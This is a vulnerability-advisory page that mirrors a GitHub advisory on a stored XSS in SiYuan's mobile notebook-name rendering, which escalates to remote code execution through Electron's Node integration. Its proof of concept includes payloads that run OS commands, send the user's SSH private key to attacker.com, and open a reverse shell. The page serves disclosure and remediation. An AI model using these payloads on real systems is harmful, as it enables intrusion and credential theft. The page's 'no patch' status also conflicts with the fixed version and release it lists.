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Advisory · GitHub · Go · github.com/siyuan-note/siyuan/kernel

GHSA-QR46-RCV3-4HQ3

SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

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medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición248 dDesde la divulgación, 16 mar 2026, 1:47 p. m.
Detección245 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
16 mar 26
30 mar 26
17 nov 26
19 nov 26
16 mar 26
17 may 26
18 jul 26
18 sept 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-QR46-RCV3-4HQ3 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Summary

SiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

Affected Component

  • Vulnerable file: `app/src/mobile/dock/MobileFiles.ts:77`
  • Safe counterpart: `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)
  • Backend (no escaping): `kernel/api/notebook.go:104-116` (`renameNotebook`)
  • Electron config: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
  • Endpoint: `POST /api/notebook/renameNotebook` (authenticated)
  • Version: SiYuan <= 3.5.9

Vulnerable Code

Mobile — no escaping (MobileFiles.ts:77)
case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
    break;
Desktop — properly escaped (Files.ts:104)
case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
    break;
Backend — sends unescaped name (notebook.go:104-116)
func renameNotebook(c *gin.Context) {
    // ...
    name := arg["name"].(string)
    err := model.RenameBox(notebook, name)
    // ...
    evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
    evt.Data = map[string]interface{}{
        "box":  notebook,
        "name": name,  // Unescaped — sent directly to all clients
    }
    util.PushEvent(evt)
}

`model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization.

Electron — Node.js in renderer (main.js:422-426)
webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

Any JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker).

1. Set malicious notebook name (RCE payload)
POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}

On Linux/macOS:

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}

Confirmed: API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients.

2. Mobile client renders and executes

When any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `<img>` tag's `src=x` fails to load, triggering `onerror` which calls `require('child_process').exec()` — arbitrary OS command execution.

3. Verified event content
# Unauthenticated WebSocket listener receives:
{
    "cmd": "renamenotebook",
    "data": {
        "box": "20260309161535-do8qg95",
        "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    }
}

The HTML/JS payload is preserved verbatim in the WebSocket event.

4. Data exfiltration variant
{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}
5. Reverse shell variant
{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}

Attack Scenario

  1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
  2. The `renamenotebook` event broadcasts the payload to ALL connected clients
  3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
  4. `nodeIntegration: true` gives the injected JavaScript full OS access
  5. Attacker achieves arbitrary command execution on the victim's machine

Persistence: The notebook name is stored in the notebook's `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile — it survives restarts.

Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.

Impact

  • Severity: CRITICAL (CVSS ~9.0)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Full remote code execution on Electron desktop via `nodeIntegration: true`
  • Stored XSS — notebook names persist across sessions and survive restarts
  • Propagates via cloud sync to all synced devices
  • Affects all mobile interface users and desktop users in mobile/narrow layout
  • Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)
  • Can steal files, credentials, SSH keys, install backdoors, open reverse shells

Suggested Fix

1. Apply the same escaping used in the desktop version
// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;

// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
2. Sanitize notebook names on the backend
func RenameBox(boxID, name string) (err error) {
    name = util.EscapeHTML(name)  // Sanitize at the source
    // ...
}
3. Long-term: Harden Electron configuration
webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
github.com/siyuan-note/siyuan/kernel≤ 0.0.0-20260313024916-fd6526133bb3
0.0.0-20260313024916-fd6526133bb3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/siyuan-note/siyuan/kernel
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-32751
Otrahttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-qr46-rcv3-4hq3
Otrahttps://github.com/siyuan-note/siyuan/commit/f6d35103f774b65e52f03e018649ff0e57924fb0
Otrahttps://github.com/siyuan-note/siyuan
Otrahttps://github.com/siyuan-note/siyuan/releases/tag/v3.6.1

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